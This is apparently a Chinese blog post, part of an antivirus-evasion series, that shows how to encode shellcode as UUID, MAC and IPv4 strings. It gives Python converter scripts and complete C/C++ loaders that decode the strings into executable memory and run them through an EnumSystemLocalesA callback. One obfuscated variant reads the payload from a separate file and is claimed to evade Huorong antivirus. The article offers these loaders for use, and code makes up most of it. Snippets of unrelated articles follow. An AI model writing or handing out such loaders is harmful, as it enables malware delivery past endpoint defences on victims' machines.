news 2026/6/15 17:04:36

C2远控篇CC++SC转换格式UUID标识MAC物理IPv4地址减少熵值

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
C2远控篇CC++SC转换格式UUID标识MAC物理IPv4地址减少熵值

免杀对抗——第一百五十九天

C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值

前置知识

  • 之前我们可能讲得更多的都是针对Loader的一个混淆,然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换
  • 我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等,反正总的目的就是让杀毒软件不认识这个东西

C2远控 - UUID地址-ShellCode转换

  • 参考文章:CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台
  • 我们可以将ShellCode转换为UUID,让其加载到内存,UUID(通用唯一识别码)是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
  • 我们可以通过Python脚本去生成UUID形式的ShellCode:
fromuuidimportUUIDimportsysiflen(sys.argv)<2:print("Usage: %s <shellcode_file>"%sys.argv[0])sys.exit(1)withopen(sys.argv[1],"rb")asf:chunk=f.read(16)print("{}const char* uuids[] =".format(' '*4))print(" {")whilechunk:iflen(chunk)<16:padding=16-len(chunk)chunk=chunk+(b"\x90"*padding)print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))breakprint("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))chunk=f.read(16)print(" };")

  • 然后通过如下代码加载:
#include<Windows.h>#include<Rpc.h>#include<iostream>#pragmacomment(lib,"Rpcrt4.lib")usingnamespacestd;constchar*uuids[]={"xxx"};intmain(){HANDLE hHeap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmem=HeapAlloc(hHeap,0,0x1000);printf("%p\n",hmem);DWORD_PTR ptr=(DWORD_PTR)hmem;intinit=sizeof(uuids)/sizeof(uuids[0]);for(inti=0;i<init;i++){RPC_STATUS status=UuidFromStringA((RPC_CSTR)uuids[i],(UUID*)ptr);if(status!=RPC_S_OK){printf("UuidFromStringA != RPC_S_OK\n");CloseHandle(hmem);return-1;}ptr+=16;}printf("[+] HexDump: \n");for(inti=0;i<init*16;i++){printf("%02X ",((unsignedchar*)hmem)[i]);//((unsigned char*)hmem)[i] ^= 0x39;}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}
  • 当然只用这个肯定是没啥用的,我们还需要进行混淆,采用之前的一些技术结合起来才能过基本的杀毒软件,比如这里简单混淆一下代码,然后加个文件分离就可以过火绒了:
#include<Windows.h>#include<Rpc.h>#include<stdio.h>#pragmacomment(lib,"Rpcrt4.lib")intmain(){// 从文件读取UUID数组(文件分离)FILE*f=fopen("uuids.dat","r");if(!f)return1;charuuid[64];intcount=0;while(fgets(uuid,sizeof(uuid),f)){if(uuid[0]=='\n')continue;count++;}fseek(f,0,SEEK_SET);// 分配内存void*p=VirtualAlloc(NULL,count*16,MEM_COMMIT,PAGE_EXECUTE_READWRITE);DWORD_PTR d=(DWORD_PTR)p;// 加载UUIDwhile(fgets(uuid,sizeof(uuid),f)){if(uuid[0]=='\n')continue;uuid[36]=0;// 移除换行符UuidFromStringA((RPC_CSTR)uuid,(UUID*)d);d+=16;}fclose(f);// 执行EnumSystemLocalesA((LOCALE_ENUMPROCA)p,0);VirtualFree(p,0,MEM_RELEASE);return0;}


C2远控 - MAC地址-ShellCode转换

  • 同理,我们也可以将ShellCode混淆为MAC地址,使用如下脚本:
frommacaddressimportMACimportsysiflen(sys.argv)<2:print("Usage: %s <shellcode_file>"%sys.argv[0])sys.exit(1)withopen(sys.argv[1],"rb")asf:chunk=f.read(6)print("{}const char* MAC[] =".format(' '*4))print(" {")whilechunk:iflen(chunk)<6:padding=6-len(chunk)chunk=chunk+(b"\x90"*padding)print("{}\"{}\"".format(' '*8,MAC(chunk)))breakprint("{}\"{}\",".format(' '*8,MAC(chunk)))chunk=f.read(6)print(" };")

  • 再通过如下代码加载:
#include<Windows.h>#include<stdio.h>#include<Ip2string.h>#pragmacomment(lib,"Ntdll.lib")#ifndefNT_SUCCESS#defineNT_SUCCESS(Status)(((NTSTATUS)(Status))>=0)#endif#define_CRT_SECURE_NO_WARNINGS#pragmawarning(disable:4996)intError(constchar*msg){printf("%s (%u)",msg,GetLastError());return1;}intmain(){constchar*MAC[]={xxx};introwLen=sizeof(MAC)/sizeof(MAC[0]);PCSTR Terminator=NULL;DL_EUI48*LpBaseAddress2=NULL;NTSTATUS STATUS;HANDLE hHeap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmem=HeapAlloc(hHeap,0,0x1000);DWORD_PTR ptr=(DWORD_PTR)hmem;for(inti=0;i<rowLen;i++){STATUS=RtlEthernetStringToAddressA((PCSTR)MAC[i],&Terminator,(DL_EUI48*)ptr);if(!NT_SUCCESS(STATUS)){printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)",MAC[i],STATUS,GetLastError());returnFALSE;}ptr+=6;}printf("[+] HexDump: \n");for(inti=0;i<6*rowLen;i++){printf("%02X ",((unsignedchar*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}
  • 但是这个也是过不了任何杀毒软件,还是需要进行混淆,这里就不细讲

C2远控 - IPv4地址-ShellCode转换

  • 还是一样,可以通过下面的代码将ShellCode转换为IPv4的地址:
fromipaddressimportip_addressimportsysiflen(sys.argv)<2:print("Usage: %s <shellcode_file>"%sys.argv[0])sys.exit(1)withopen(sys.argv[1],"rb")asf:chunk=f.read(4)print("{}const char* IPv4s[] =".format(' '*4))print(" {")whilechunk:iflen(chunk)<4:padding=4-len(chunk)chunk=chunk+(b"\x90"*padding)print("{}\"{}\"".format(' '*8,ip_address(chunk)))breakprint("{}\"{}\",".format(' '*8,ip_address(chunk)))chunk=f.read(4)print(" };")

  • 再通过如下代码加载:
#include<Windows.h>#include<stdio.h>#include<Ip2string.h>#pragmacomment(lib,"Ntdll.lib")#ifndefNT_SUCCESS#defineNT_SUCCESS(Status)(((NTSTATUS)(Status))>=0)#endifintmain(){constchar*IPv4s[]={xxx};PCSTR Terminator=NULL;PVOID LpBaseAddress=NULL;PVOID LpBaseAddress2=NULL;NTSTATUS STATUS;HANDLE hHeap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmem=HeapAlloc(hHeap,0,0x1000);DWORD_PTR ptr=(DWORD_PTR)hmem;intinit=sizeof(IPv4s)/sizeof(IPv4s[0]);for(inti=0;i<init;i++){RPC_STATUS STATUS=RtlIpv4StringToAddressA((PCSTR)IPv4s[i],FALSE,&Terminator,(in_addr*)ptr);if(!NT_SUCCESS(STATUS)){printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",IPv4s[i],STATUS,GetLastError());returnFALSE;}ptr+=4;}printf("[+] HexDump: \n");for(inti=0;i<init*4;i++){printf("%02X ",((unsignedchar*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}
  • 这也没啥好说的,反正主要的原理就是shellcode -> 加密/编码 -> 混淆后的shellcode,这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 14:52:51

SolidWorks特征工具设计思维介绍

SolidWorks 的特征工具是其参数化建模的核心&#xff0c;其设计思维深度融合了参数化设计理念、工程实践需求和用户操作直觉。理解特征工具的本质&#xff0c;需要从“特征是什么”“为何这样设计”“如何高效使用”三个维度展开&#xff0c;最终掌握“用特征表达设计意图”的能…

作者头像 李华
网站建设 2026/6/15 16:19:07

SolidWorks异形孔的类型介绍

一、核心理解&#xff1a;“异形孔向导”是什么它不是一个简单的“画孔”工具&#xff0c;而是一个基于标准的参数化特征生成器。其核心价值在于&#xff1a;标准化&#xff1a;内置了ISO、GB&#xff08;国标&#xff09;、ANSI、DIN、JIS等多种主流标准&#xff0c;确保设计的…

作者头像 李华
网站建设 2026/6/15 14:53:01

Python asyncio:解锁异步编程的魔法钥匙

一、引言&#xff1a;异步编程的奇妙世界在传统的同步编程中&#xff0c;程序就像一个按部就班的执行者&#xff0c;会顺序执行每一行代码&#xff0c;在遇到 I/O 操作&#xff08;如文件读写、网络请求等&#xff09;时&#xff0c;会老老实实等待该操作完成&#xff0c;才会继…

作者头像 李华
网站建设 2026/6/14 14:39:46

深度解析HBM:AI时代的内存革命

当ChatGPT在2022年底掀起生成式AI浪潮,全球科技产业突然意识到:支撑大模型训练与推理的核心瓶颈,早已不是算力本身,而是内存带宽与延迟的“天花板”。高带宽内存(HBM)作为突破这一“内存墙”的关键技术,从曾经的 niche 产品一跃成为AI时代的战略核心。 在2014年第一代 H…

作者头像 李华
网站建设 2026/6/15 5:49:56

单岩藻糖乳糖-N-六糖III:解码生命糖码的精密钥匙 CAS号: 96656-34-7

在生命科学的宏大图景中&#xff0c;蛋白质与核酸长期占据着研究的中心舞台。然而&#xff0c;有一类分子&#xff0c;它们虽结构繁复、默默无闻&#xff0c;却几乎调控着每一个重要的生命过程——它们就是聚糖。今天&#xff0c;我们向您隆重推介聚糖研究领域的顶级工具与关键…

作者头像 李华
网站建设 2026/6/15 15:04:02

突破AI推理天花板:GenSelect与TIR技术如何重塑大模型决策能力

突破AI推理天花板&#xff1a;GenSelect与TIR技术如何重塑大模型决策能力 【免费下载链接】OpenReasoning-Nemotron-14B 项目地址: https://ai.gitcode.com/hf_mirrors/nvidia/OpenReasoning-Nemotron-14B 在人工智能领域&#xff0c;数学推理与复杂问题解决一直是衡量…

作者头像 李华